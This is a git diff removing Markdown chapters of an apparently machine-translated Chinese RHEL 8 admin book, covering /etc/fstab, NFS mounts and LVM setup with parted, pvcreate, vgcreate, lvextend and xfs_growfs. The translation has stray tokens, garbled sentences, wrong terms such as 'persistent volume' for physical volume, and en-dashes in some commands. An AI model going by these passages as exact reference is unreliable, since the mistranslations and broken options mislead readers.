-在前一节中,我们介绍了如何挂载磁盘和分区,以便我们的服务和用户可以使用它们。 在本节中,我们将学习如何以持久的方式提供这些文件系统。 - -`/etc/fstab`文件包含文件系统定义为我们的系统,当然,它有一个专门的手册页,可以检查与`man fstab`包含有用的信息格式,字段排序,等等,必须考虑,因为这个文件对系统的正常运转至关重要。 - -文件格式由由制表符或空格分隔的几个字段定义,以`#`开头的行被视为注释。 - -例如,我们将使用这一行来查看每个字段的描述: - -```sh -LABEL=/ / xfs defaults 0 0 -``` - -第一个字段是设备定义,它可以是一个特殊的块设备,远程文件系统,比例我们可以看到选择器由`LABEL`,`UUID`,或者,对于【显示】GPT 系统,也是一个`PARTUUID`或`PARTLABEL`。 `mount`、`blkid`和`lsblk`的`man`页提供了有关设备标识符的更多信息。 - -第二个字段是文件系统的挂载点,在这里可以根据我们的系统目录层次结构使文件系统的内容可用。 一些特殊的设备/分区(如交换区)将这个定义为`none`,因为实际上这些内容无法通过文件系统获得。 - -第三个字段是用于交换分区的`mount`命令或`swap`支持的文件系统类型。 - -第四场是支持的挂载选项`mount`或`swapon`命令(检查他们的`man`页面更多细节),在其最常见的选项默认设置一个别名(读/写,允许设备,允许执行,在引导加载,异步访问,等等)。 其他常见的选项可能`noauto`,它定义了文件系统但不安装在引导(通常用于移动设备),`user`,它允许用户安装和卸载,`_netdev`,它定义了远程路径需要网络之前挂载。 - -第五个字段由`dump`来决定应该使用哪些文件系统——其值默认为`0`。 - -第六个字段被`fsck`用来确定引导时检查文件系统的顺序。 根文件系统的值应该是 1,其他文件系统的值应该是 2(默认值是 0,而不是`fsck`)。 检查是并行执行的,以加快引导过程。 注意,对于具有日志的文件系统,文件系统本身可以执行快速验证,而不是完整的验证。 - -在下面的截图中,让我们看看它在输出`cat /etc/fstab`的系统中是什么样子: - -![Figure 12.8 – fstab example from our system ](img/B16799_12_008.jpg) - -图 12.8 -我们系统中的 fstab 示例 - -为什么我们要用`UUID`或`LABEL`来代替`/dev/sda1`这样的设备? - -当系统引导时,磁盘顺序可能会改变,因为一些内核可能会引入设备在访问这些设备的方式上的差异,等等,从而导致设备枚举的变化; 这种情况不仅发生在**通用串行总线**(**USB**)等可移动设备上,也发生在等内部设备上,如网络接口或硬盘驱动器。 - -当我们使用`UUID`或`LABEL`而不是指定设备时,即使在设备重新排序的情况下,系统仍然能够找到要使用的正确设备并从中引导。 这是特别重要的,当系统**曾经 IDE**和**系列先进技术附件**(【显示】**SATA)驱动器和**SCSI 驱动器,甚至今天当**互联网 SCSI【病人】(****iSCSI)设备可能比预期连接以不同的顺序, 导致设备名称改变,到达设备名称失败。****** - - **记住使用`blkid`或`lsblk –fp`命令检查文件系统的标签和**通用唯一标识符**(**uuid**),以便在引用它们时使用。 - -重要提示 - -在编辑`/etc/fstab`文件时,要非常小心:更改系统使用的挂载点可能会导致系统无法使用。 如果有疑问,请仔细检查任何更改,并确保熟悉系统恢复方法,在需要时拥有可用的救援介质。 - -让我们在下一节的中学习关于挂载远程 NFS - -# 通过 NFS 使用网络文件系统 - -挂载远程 NFS 的与挂载本地设备的没有太大区别,但是我们没有像在上一节中使用`/dev/loop0p1`文件指定本地设备,而是将`server:export`作为设备提供。 - -我们可以通过`man mount`查看手册页面找到一系列可用的选项,这将向我们展示几个选项和设备的外观。 - -当使用 NFS 挂载时,管理员需要使用主机和导出名称来挂载该设备—例如,根据以下 NFS 导出数据: - -* **服务器**:`server.example.com` -* **出口**:`/isos` -* **挂载点**:`/mnt/nfs` - -使用前面的数据,很容易构造`mount`命令,如下所示: - -```sh -mount –t nfs sever.example.com:/isos /mnt/nfs -``` - -如果我们分析前面的命令,它将定义要挂载的文件系统类型为`nfs`,由`server.example.com`主机名提供,并使用`/isos`NFS 导出,并且可以在本地的`/mnt/nfs`文件夹下使用。 - -如果我们想定义这个文件系统在引导时可用,我们应该在`/etc/fstab`中添加一个条目,但是… 我们应该如何表示呢? - -基于本章中解释的设置,构建的条目看起来像这样: - -```sh -server.example.com:/isos /mnt/nfs nfs defaults,_netdev 0 0 -``` - -前面的代码包含在命令行参数我们表示,但也补充说,这是一个资源需要网络访问之前挂载它,需要网络能够达到 NFS 服务器,类似需要等其他网络存储 Samba 坐骑, iSCSI,等等。 - -重要提示 - -恢复保持系统可引导的思想,一旦我们对`/etc/fstab`配置文件进行了修改,建议执行`mount -a`,以便在运行的系统中执行验证。 如果在执行之后新的文件系统可用,并且在执行时显示(例如`df`),并且没有出现错误,那么它应该是安全的。 - -# 总结 - -在本章中,我们学习了如何逻辑地划分磁盘以优化存储的使用,以及以后如何在该磁盘分区上创建一个文件系统,以便它可以用来实际存储数据。 - -一旦创建了实际的文件系统,我们就学习了如何在系统中访问它,以及如何通过修改`/etc/fstab`配置文件来确保下次系统重启后它仍然可用。 - -最后,我们还学习了基于提供给我们的数据使用远程文件系统和 NFS,以及如何将其添加到我们的`fstab`文件中以使其持久。 - -在下一章中,我们将学习如何使存储更加有用通过**逻辑卷管理(LVM**),赋予不同的逻辑单元的定义,可以调整大小,结合提供数据冗余,等等。********** \ No newline at end of file diff --git a/docs/rhel8-admin/13.md b/docs/rhel8-admin/13.md deleted file mode 100644 index 027640bb..00000000 --- a/docs/rhel8-admin/13.md +++ /dev/null @@ -1,799 +0,0 @@ -# 十三、LVM 的灵活存储管理 - -管理本地存储可以通过一个更灵活的方式比[*第十二章*](12.html#_idTextAnchor160),*管理本地存储和文件系统,通过使用**逻辑卷管理器(LVM【显示】)。 LVM 允许将多个磁盘分配给同一个逻辑卷(在 LVM 中相当于分配给一个分区),在不同的磁盘之间复制数据,并创建卷的快照。*** - - ***在本章中,我们将回顾 LVM 的基本用法以及用于管理存储的主要对象。 我们将学习如何准备与 LVM 一起使用的磁盘,然后将它们聚合到一个池中,从而不仅增加可用空间,而且使您能够一致地使用它。 我们还将学习如何将聚合的磁盘空间分布到类似于分区的块中,这些块在必要时可以很容易地扩展。 为此,我们将探讨以下议题: - -* 理解 LVM -* 创建、移动和删除物理卷 -* 将物理卷组合成卷组 -* 创建和扩展逻辑卷 -* 向卷组添加新磁盘并扩展逻辑卷 -* 删除逻辑卷、卷组和物理卷 -* 回顾 LVM 命令 - -# 技术要求 - -在本章中,我们将在机器中再添加两个磁盘,以便能够遵循本章中提到的示例。 以下是你的选择: - -* 如果您使用的是物理机器,您可以添加两个 USB 驱动器。 -* 如果使用的是本地虚拟机,则需要添加两个新的虚拟驱动器。 -* 如果您正在使用一个云实例,您可以向它添加两个新的块设备。 - -作为示例,让我们看看如何将这些磁盘添加到 Linux 中的虚拟机中。 首先,我们关闭在第 1 章、*Installing RHEL8*中安装的虚拟机`rhel8`。 然后我们打开虚拟机的特征页面。 在这里我们找到了**添加硬件**按钮: - -![Figure 13.1 – Editing virtual machine properties ](img/B16799_13_001.jpg) - -图 13.1 -编辑虚拟机属性 - -提示 - -根据您所使用的虚拟化平台,有不同的路径可以达到虚拟机特性。 然而,在虚拟机菜单中有一个选项是可以直接访问的,这是很常见的。 - -点击**添加硬件**将打开如下截图对话框。 在其中,我们将选择**Storage**选项,并指定要创建并连接到虚拟机的虚拟磁盘的大小,在本例中为 1 GiB,然后单击**Finish**: - -![Figure 13.2 – Adding a disk to a virtual machine ](img/B16799_13_002.jpg) - -图 13.2 -向虚拟机添加磁盘 - -我们将重复这个过程两次以添加两个磁盘。 最终结果看起来像这样: - -![Figure 13.3 – Two new disks added to a virtual machine, making a total of three ](img/B16799_13_003.jpg) - -图 13.3 -两个新磁盘添加到一个虚拟机,总共是三个 - -现在我们将启动虚拟机并登录它来检查新设备的可用性: - -```sh -[root@rhel8 ~]# lsblk -NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT -vda 252:0 0 10G 0 disk -├─vda1 252:1 0 1G 0 part /boot -└─vda2 252:2 0 9G 0 part - ├─rhel-root 253:0 0 8G 0 lvm / - └─rhel-swap 253:1 0 1G 0 lvm [SWAP] -vdb 252:16 0 1G 0 disk -vdc 252:32 0 1G 0 disk -``` - -我们可以看到新的 1 GiB 磁盘`vdb`和`vdc`是可用的。 现在我们已经有了一个系统磁盘,我们在其中安装了 RHEL 8 操作系统,还有两个磁盘可以使用,我们准备继续学习本章。 - -提示 - -Linux 中磁盘设备的命名取决于它们使用的驱动程序。 附加为 SATA 或 SCSI 的设备显示为`sd`和一个字母,如`sda`或`sdb`。 与 IDE 总线连接的设备使用`hd`和一个字母,如`hda`或`hdb`。 例如,使用 VirtIO 半虚拟化驱动程序的设备使用`vd`和一个字母,例如`vda`或`vdb`。 - -# 理解 LVM - -LVM 使用三层来管理系统中的存储设备。 这些层如下: - -* **物理卷**(**PV**):第一层 of LVM。 直接分配给块设备。 物理卷可以是磁盘上的一个分区,也可以是完整的原始磁盘本身。 -* **卷组**(**VG**):LVM 的第二层。 它将物理卷分组以聚合空间。 这是一个中间层,不是很明显,但它的作用非常重要。 -* **逻辑卷**(**LV**):LVM 的第三层。 它分配卷组聚集的空间。 - -让我们看看我们想要使用两个新添加的磁盘实现的示例: - -![Figure 13.4 – LVM example using two disks ](img/B16799_13_004.jpg) - -图 13.4 -使用两个磁盘的 LVM 示例 - -让我们来解释这个例子图,以理解所有的层: - -* 我们有两个磁盘,在图中,它们是**Disk1**和**Disk2**。 -* **Disk1**被划分为两个分区:**Part1**和**Part2**。 -* **Disk2**未分区。 -* There are three physical volumes. The mission of these is to prepare the disk space to be used in LVM. The physical volumes are as follows: - - **PV1**,创建在**Part1**分区上的**Disk1** - - **PV2**,创建在**Part2**分区上的**Disk1** - - -**PV3**,直接在**Disk2**上创建 - -* 单个卷组**VG1**聚集了三个物理卷**PV1**、**PV2**和**PV3**。 现在,所有的磁盘空间都得到了整合,可以很容易地重新分配。 -* 空间分为四个逻辑卷:**LV1**、**LV2**、**LV3**、**LV4**。 请注意,逻辑卷并不使用整个磁盘。 这样,如果我们需要扩展卷或创建快照,就可以实现。 - -这是对各层如何分布的基本描述,不涉及镜像、精简配置或快照等复杂情况。 - -根据经验,我们需要理解 pv 的设计目的是准备 LVM 使用的设备,vg 聚合 pv,而 lv 分布聚合空间。 - -有趣的是,如果我们创建一个 VG,我们可以向它添加一个额外的磁盘,从而增加它的大小,而不需要停止或重新启动机器。 同样,我们可以将添加的空间分布在需要它的 lv 上,而无需停止或重新启动机器。 这就是为什么 LVM 如此强大并推荐用于每台服务器的主要原因之一,几乎没有例外。 - -现在我们知道了 LVM 划分的层,让我们开始使用它们来了解它们是如何工作的。 - -# 创建、移动和移除物理卷 - -有我们的机器准备好了两个新的磁盘,`vdb`和`vdc`,因为*技术要求部分解释说,我们可以开始实施示例图,如图 13.4 所示*,在我们的机器。** - - **第一步并不是与 LVM 直接相关的,但是继续示例仍然很重要。 第一步涉及对`vdb`磁盘进行分区。 让我们来看看分区管理工具`parted`: - -```sh -[root@rhel8 ~]# parted /dev/vdb print -Error: /dev/vdb: unrecognised disk label -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: unknown -Disk Flags: -``` - -重要提示 - -您的磁盘设备(如果您使用的是物理机器或不同的磁盘驱动器)可能是不同的。 例如,如果我们使用 SATA 磁盘,它将是`/dev/sdb`而不是`/dev/vdb`。 - -磁盘是完全未分区的,正如我们在`unrecognised disk label`消息中所看到的。 正如在[*第十二章*](12.html#_idTextAnchor160),*管理本地存储和文件系统*中所解释的,我们可以使用两种类型的磁盘标签; `msdos`**(也称为 MBR**),机器的旧类型【t16.1】与**基本输入输出系统(BIOS**)可以使用引导,`gpt`,**的新型机器统一的可扩展固件接口**(**UEFI)可以使用引导。 如果有的疑问,使用`gpt`,就像我们在这个例子中所做的那样。 `parted`用于创建新标签的选项是`mklabel`:****** - -```sh -[root@rhel8 ~]# parted /dev/vdb mklabel gpt -Information: You may need to update /etc/fstab. - -[root@rhel8 ~]# parted /dev/vdb print -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number Start End Size File system Name Flags -``` - -提示 - -要创建一个`msdos`标签,命令应该是`parted /dev/vdb mklabel msdos`。 - -现在我们有一个带有`gpt`标签的磁盘,但是没有分区。 让我们在交互模式下使用`mkpart`选项创建一个分区: - -```sh -[root@rhel8 ~]# parted /dev/vdb mkpart -``` - -现在我们可以输入分区名称`mypart0`: - -```sh -Partition name? []? mypart0 -``` - -对于下一步,指定文件系统,我们将使用`ext2`: - -```sh -File system type? [ext2]? ext2 -``` - -现在是设置起点的时候了。 我们将使用第一个可用扇区,即`2048s`: - -```sh -Start? 2048s -``` - -提示 - -根据定义,现代磁盘中的第一个扇区是`2048s`。 该工具不提供此功能。 当有疑问时,我们可以通过运行`parted /dev/vda unit s print`来检查其他现有的磁盘。 - -然后我们进入最后一步,设置端点,它可以描述为我们想要创建的分区的大小: - -```sh -End? 200MB -``` - -该命令完成后出现如下警告: - -```sh -Information: You may need to update /etc/fstab. -``` - -为了确保分区表在系统中被刷新,并且允许在`/dev`下生成设备,我们可以运行以下命令: - -```sh -[root@rhel8 ~]# udevadm settle -``` - -提示 - -在非交互模式下运行的完整命令是`parted /dev/vdb mkpart mypart0 xfs 2048s 200MB`。 - -我们可以看到新分区可用: - -```sh -[root@rhel8 ~]# parted /dev/vdb print -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number Start End Size File system Name Flags -1 1049kB 200MB 199MB mypart0 -``` - -我们需要更改分区,以便能够承载`LVM`物理卷。 `parted`命令使用`set`选项来更改分区类型。 我们需要指定分区编号,即`1`,然后键入`lvm`和`on`来激活: - -```sh -root@rhel8 ~]# parted /dev/vdb set 1 lvm on -Information: You may need to update /etc/fstab. - -[root@rhel8 ~]# udevadm settle -[root@rhel8 ~]# parted /dev/vdb print -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number Start End Size File system Name Flags -1 1049kB 200MB 199MB mypart0 lvm -``` - -我们看到分区的标志现在被设置为`lvm`。 - -让我们添加第二个分区`mypart1`: - -```sh -[root@rhel8 ~]# parted /dev/vdb mkpart mypart1 xfs \ -200MB 100% -Information: You may need to update /etc/fstab. - -[root@rhel8 ~]# parted /dev/vdb set 2 lvm on -Information: You may need to update /etc/fstab. - -[root@rhel8 ~]# parted /dev/vdb print -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number Start End Size File system Name Flags -1 1049kB 200MB 199MB mypart0 lvm -2 200MB 1073MB 872MB mypart1 lvm -``` - -现在我们已经创建了两个分区`/dev/vdb1`(名称为`mypart0`)和`/dev/vdb2`(名称为`mypart1`),下面是的存储: - -![Figure 13.5 – Partitions created in our two new disks ](img/B16799_13_005.jpg) - -图 13.5 -在两个新磁盘中创建的分区 - -提示 - -RHEL8 中默认提供了另一个用于管理分区的工具`fdisk`。 你可能想尝试一下,看看你是否觉得它更容易使用。 - -现在是时候创建持久卷了。 我们将只在新创建的分区上执行此操作。 首先,我们使用`pvs`命令检查可用的持久卷: - -```sh -[root@rhel8 ~]# pvs - PV VG Fmt Attr PSize PFree - /dev/vda2 rhel lvm2 a-- <9,00g 0 -``` - -现在,我们继续使用`pvcreate`创建持久卷: - -```sh -[root@rhel8 ~]# pvcreate /dev/vdb1 - Physical volume "/dev/vdb1" successfully created. -[root@rhel8 ~]# pvcreate /dev/vdb2 - Physical volume "/dev/vdb2" successfully created. -``` - -并且我们再次检查它们已经被正确地用`pvs`创建: - -```sh -[root@rhel8 ~]# pvs - PV VG Fmt Attr PSize PFree - /dev/vda2 rhel lvm2 a-- <9,00g 0 - /dev/vdb1 lvm2 --- 190,00m 190,00m - /dev/vdb2 lvm2 --- 832,00m 832,00m -``` - -注意,持久化卷没有自己的名称,只有创建它们的分区(或设备)的名称。 我们可以用`PV1`和`PV2`来画图。 - -这是现在的状态: - -![Figure 13.6 – Persistent volumes created in the two new partitions ](img/B16799_13_006.jpg) - -图 13.6 -在两个新分区中创建持久性卷 - -我们还可以直接在磁盘设备`vdc`上创建一个持久卷。 让我们做到: - -```sh -[root@rhel8 ~]# pvcreate /dev/vdc - Physical volume "/dev/vdc" successfully created. -[root@rhel8 ~]# pvs - PV VG Fmt Attr PSize PFree - /dev/vda2 rhel lvm2 a-- <9,00g 0 - /dev/vdb1 lvm2 --- 190,00m 190,00m - /dev/vdb2 lvm2 --- 832,00m 832,00m - /dev/vdc lvm2 --- 1,00g 1,00g -``` - -与前面的示例一样,物理卷没有名称,我们将其称为`PV3`。 结果如下所示: - -![Figure 13.7 – Persistent volumes created in the two new partitions and the new disk device ](img/B16799_13_007.jpg) - -图 13.7 -在两个新分区和新磁盘设备中创建的持久卷 - -现在我们已经有了持久卷,让我们在下一节中使用虚拟组对它们进行分组。 - -# 将物理卷组合成卷组 - -现在是使用前面添加的物理卷创建新的卷组的时候了。 在此之前,我们可以使用`vgs`命令检查可用的卷组: - -```sh -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 -``` - -我们可以看到,只有在安装操作系统期间创建的卷组可用。 让我们使用`vgcreate`命令创建带有`/dev/vdb1`和`/dev/vdb2`分区的`storage`卷组: - -```sh -[root@rhel8 ~]# vgcreate storage /dev/vdb1 /dev/vdb2 - Volume group "storage" successfully created -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 - storage 2 0 0 wz--n- 1016,00m 1016,00m -``` - -可以看到,新的`storage`卷组已经创建。 当前状态的图表现在看起来像这样: - -![Figure 13.8 – First volume group created with two physical volumes ](img/B16799_13_008.jpg) - -图 13.8 -使用两个物理卷创建的第一个卷组 - -重要提示 - -卷组**是 LVM 中的一个非常薄的层,它的唯一目标是将磁盘或分区聚合到一个存储池中。 该存储的高级管理(例如,将数据镜像到两个不同的磁盘)是通过逻辑卷完成的。** - - **我们已经将分区和磁盘准备为物理卷,并将它们聚合到卷组中,因此我们有一个磁盘空间池。 让我们继续下一节,了解如何使用逻辑卷来分配磁盘空间。 - -# 创建和扩展逻辑卷 - -目前,创建了几个物理卷,其中两个分组到一个卷组中。 让我们进入下一层,使用`lvs`命令检查逻辑卷: - -```sh -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g -``` - -我们在承载操作系统的`rhel`卷组上看到了`root`和`swap`卷。 - -现在,我们可以在`storage`卷组上创建一个简单逻辑卷`data`,大小为 200mb: - -```sh -[root@rhel8 ~]# lvcreate --name data --size 200MB storage - Logical volume "data" created. -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g - data storage -wi-a----- 200,00m -``` - -我们现在的配置是这样的: - -![Figure 13.9 – First logical created using space from a volume group ](img/B16799_13_009.jpg) - -图 13.9 -从卷组使用空间创建的第一个逻辑 - -创建的逻辑卷是块设备,类似于磁盘分区。 因此,为了使用它,我们需要使用文件系统对其进行格式化。 让我们用`xfs`格式来格式化它: - -```sh -[root@rhel8 ~]# mkfs.xfs /dev/storage/data -meta-data=/dev/storage/data isize=512 agcount=4, agsize=12800 blks - = sectsz=512 attr=2, projid32bit=1 - = crc=1 finobt=1, sparse=1, rmapbt=0 - = reflink=1 -data = bsize=4096 blocks=51200,imaxpct=25 - = sunit=0 swidth=0 blks -naming =version 2 bsize=4096 ascii-ci=0, ftype=1 -log =internal log bsize=4096 blocks=1368, version=2 - = sectsz=512 sunit=0 blks, lazy-count=1 -realtime =none extsz=4096 blocks=0, rtextents=0 -Discarding blocks...Done. -``` - -现在准备安装。 我们可以创建`/srv/data`目录并将其挂载到这里: - -```sh -[root@rhel8 ~]# mkdir /srv/data -[root@rhel8 ~]# mount -t xfs /dev/storage/data /srv/data -[root@rhel8 ~]# df -h /srv/data/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/storage-data 195M 12M 184M 6% /srv/data -``` - -我们已经在系统中设置了支持 lvm 的可用空间。 手动挂载文件系统(如前面的示例中所示)可以在系统未关机或重新启动时工作。 为了使其持久,我们需要在`/etc/fstab`中添加以下一行: - -```sh -/dev/storage/data /srv/data xfs defaults 0 0 -``` - -为了测试这一行是否正确编写,我们可以运行以下命令。 首先,卸载文件系统: - -```sh -[root@rhel8 ~]# umount /srv/data -``` - -检查挂载点的可用空间: - -```sh -[root@rhel8 ~]# df -h /srv/data/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/rhel-root 8,0G 2,8G 5,3G 35% / -``` - -`df`(对于*磁盘空闲*)命令的输出显示`/srv/data/`目录中的空间与`root`分区相关,这意味着该文件夹没有与之相关联的任何文件系统。 现在让我们在系统启动时运行`mount`命令: - -```sh -[root@rhel8 ~]# mount –a -``` - -`/etc/fstab`中所有未挂载的文件系统都将被挂载,如果中存在任何问题(例如中的打字错误),则会显示一个错误。 让我们检查它是否安装: - -```sh -[root@rhel8 ~]# df -h /srv/data/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/storage-data 195M 12M 184M 6% /srv/data -``` - -重要提示 - -`/dev/storage/data`和`/dev/mapper/storage-data`设备是由**设备映射器**组件生成的同一设备的别名(更准确地说,是符号链接)。 它们完全可以互换。 - -正如我们所看到的,文件系统已正确安装。 现在我们知道了如何创建逻辑卷并为其分配文件系统和挂载点,我们可以继续进行更高级的任务,例如在 LVM 层及以上扩展磁盘空间。 - -# 向卷组添加新磁盘并扩展日志 ical 卷 - -关于 LVM(更确切地说,卷组),的一个伟大之处是我们可以向它添加一个新磁盘,并开始使用新扩展的空间。 让我们尝试将`/dev/vdc`中的物理卷添加到`storage`卷组中: - -```sh -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 - storage 2 1 0 wz--n- 1016,00m 816,00m -[root@rhel8 ~]# vgextend storage /dev/vdc - Volume group "storage" successfully extended -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 - storage 3 1 0 wz--n- <1,99g 1,79g -``` - -现在,我们的磁盘分布看起来像这样: - -![Figure 13.10 – Extended volume group with three physical volumes ](img/B16799_13_010.jpg) - -图 13.10 -包含三个物理卷的扩展卷组 - -现在让扩展`data`逻辑卷,增加 200 MB: - -```sh -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g - data storage -wi-ao---- 200,00m -[root@rhel8 ~]# lvextend --size +200MB /dev/storage/data - Size of logical volume storage/data changed from 200,00 MiB (50 extents) to 400,00 MiB (100 extents). - Logical volume storage/data successfully resized. -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g - data storage -wi-ao---- 400,00m -``` - -逻辑卷已被扩展。 但是,它上面的文件系统没有: - -```sh -[root@rhel8 ~]# df -h /srv/data/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/storage-data 195M 12M 184M 6% /srv/data -``` - -我们需要扩展文件系统。 这样做的工具取决于文件系统的类型。 在我们的例子中,因为它是`xfs`,所以扩展它的工具是`xfs_growfs`。 让我们做到: - -```sh -[root@rhel8 ~]# xfs_growfs /dev/storage/data -meta-data=/dev/mapper/storage-data isize=512 agcount=4, agsize=12800 blks - = sectsz=512 attr=2, projid32bit=1 - = crc=1 finobt=1, sparse=1, rmapbt=0 - = reflink=1 -data = bsize=4096 blocks=51200 imaxpct=25 - = sunit=0 swidth=0 blks -naming =version 2 bsize=4096 ascii-ci=0, ftype=1 -log =internal log bsize=4096 blocks=1368 version=2 - = sectsz=512 sunit=0 blks, lazy-count=1 -realtime =none extsz=4096 blocks=0, rtextents=0 -data blocks changed from 51200 to 102400 -[root@rhel8 ~]# df -h /srv/data/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/storage-data 395M 14M 382M 4% /srv/data -``` - -现在,文件系统添加了一些额外的空间并可用。 - -重要提示 - -执行该任务时,逻辑卷可以被挂载并被系统使用。 LVM 可以在运行时在生产系统上进行卷扩展。 - -可以很容易地重新分配空间并添加另一个逻辑卷: - -```sh -[root@rhel8 ~]# lvcreate --size 100MB --name img storage - Logical volume "img" created. -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g - data storage -wi-ao---- 400,00m - img storage -wi-a----- 100,00m -[root@rhel8 ~]# mkfs.xfs /dev/storage/img -meta-data=/dev/storage/img isize=512 agcount=4, agsize=6400 blks - = sectsz=512 attr=2, projid32bit=1 - = crc=1 finobt=1, sparse=1, rmapbt=0 - = reflink=1 -data = bsize=4096 blocks=25600 imaxpct=25 - = sunit=0 swidth=0 blks -naming =version 2 bsize=4096 ascii-ci=0, ftype=1 -log =internal log bsize=4096 blocks=1368, version=2 - = sectsz=512 sunit=0 blks, lazy-count=1 -realtime =none extsz=4096 blocks=0, rtextents=0 -Discarding blocks...Done. -[root@rhel8 ~]# mkdir /srv/img -[root@rhel8 ~]# mount -t xfs /dev/storage/img /srv/img -[root@rhel8 ~]# df /srv/img/ -Filesystem 1K-blocks Used Available Use% Mounted on -/dev/mapper/storage-img 96928 6068 90860 7% /srv/img -[root@rhel8 ~]# df -h /srv/img/ -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/storage-img 95M 6,0M 89M 7% /srv/img -``` - -`lvcreate`命令的`--size`和`--extents`选项有几个选项可以用来定义要消耗的空间: - -* **人类可读的**:我们可以用人类可读的块定义大小,例如使用`GB`定义千兆字节,使用`MB`(换句话说,`--size 3GB`)定义兆字节。 -* **区段**:如果我们只在`--extents`之后提供一个数字,该命令将使用其内部度量`extents`,这类似于磁盘分区的块大小(即`--extents 125`)。 - -`--size`和`--extents`选项也适用于`lvextend`命令。 在本例中,我们可以使用前面为`lvcreate`显示的选项来定义逻辑卷的新大小。 我们也有其他选项来定义要分配给它们的空间增量: - -* **添加空间**:如果我们向`lvextend`提供数字之前的`+`符号,这将增加所提供的测量数据中的大小(即`--size +1GB`向当前逻辑卷增加了一个额外的 gb)。 -* **Percentage of free space**: We can provide the percentage of free space to be created or extended by using `--extents`, and the percentage of free space to be used followed by `%FREE` (that is, `--extents 10%FREE`). - - 提示 - - 正如我们之前在其他工具中看到的,我们可以使用手册页面来提醒自己可用的选项。 请运行`man lvcreate`和`man lvextend`来熟悉这些工具的页面。 - -我们将创建一个逻辑卷,用作**交换卷**,它是磁盘的一部分,系统将其用作内存的停车空间。 系统将消耗内存和不活动的进程放在那里,以便释放物理内存(比磁盘快得多)。 当系统中没有更多的空闲物理内存时,也可以使用它。 - -让我们在 LVM 上创建一个交换设备: - -```sh -[root@rhel8 ~]# lvcreate --size 100MB --name swap storage - Logical volume "swap" created. -[root@rhel8 ~]# mkswap /dev/storage/swap -Setting up swapspace version 1, size = 100 MiB (104853504 bytes) -no label, UUID=70d07e58-7e8d-4802-8d20-38d774ae6c22 -``` - -我们可以使用`free`命令检查内存和交换状态: - -```sh -[root@rhel8 ~]# free - total used free shared buff/cache available -Mem: 1346424 218816 811372 9140 316236 974844 -Swap: 1048572 0 1048572 -[root@rhel8 ~]# swapon /dev/storage/swap -[root@rhel8 ~]# free - total used free shared buff/cache available -Mem: 1346424 219056 811040 9140 316328 974572 -Swap: 1150968 0 1150968 -``` - -重要提示 - -这两个新更改将需要为每个更改添加一行到`/etc/fstab`,以便在重新引导期间持续地使用它们。 - -我们的磁盘空间分布现在看起来是这样的: - -![Figure 13.11 – Extended volume group with three physical volumes ](img/B16799_13_011.jpg) - -图 13.11 -包含三个物理卷的扩展卷组 - -这个分布看起来很像我们用来描述 LVM 层的初始示例。 我们现在已经练习了所有的层,以创建所需的作品在每一个他们。 我们知道如何创建,所以现在是时候学习如何在下一节中删除它们了。 - -# 删除逻辑卷、卷 gr 组和物理卷 - -为了从用于删除的 e 命令开始,让我们执行重新移动`img`逻辑卷的简单步骤。 首先我们需要检查它是否挂载: - -```sh -[root@rhel8 ~]# mount | grep img -/dev/mapper/storage-img on /srv/img type xfs (rw,relatime,seclabel,attr2,inode64,logbufs=8,logbsize=32k,noquota) -``` - -当它被安装时,我们需要卸下它: - -```sh -[root@rhel8 ~]# umount /srv/img -[root@rhel8 ~]# mount | grep img -``` - -最后一个命令显示一个空输出,这意味着它没有挂载。 让我们继续删除它: - -```sh -[root@rhel8 ~]# lvremove /dev/storage/img -Do you really want to remove active logical volume storage/img? [y/n]: y - Logical volume "img" successfully removed -``` - -现在,我们还可以移除挂载点: - -```sh -[root@rhel8 ~]# rmdir /srv/img -``` - -这样就完成了逻辑卷的删除。 这个过程是不可逆的,所以运行时要小心。 现在我们的磁盘分布是这样的: - -![Figure 13.12 – Volume group with logical volume removed ](img/B16799_13_012.jpg) - -图 13.12 -删除逻辑卷的卷组 - -现在该执行更复杂的任务了,即从虚拟组中删除一个物理卷。 这样做的原因是,有时您想要将存储在物理磁盘上的数据转移到另一个磁盘上,然后将其卸载并从系统中删除。 这是可以做到的,但首先,让我们将一些文件添加到`data`逻辑卷: - -```sh -[root@rhel8 ~]# cp -ar /usr/share/scap-security-guide \ -/srv/data/ -[root@rhel8 ~]# ls /srv/data/ -scap-security-guide 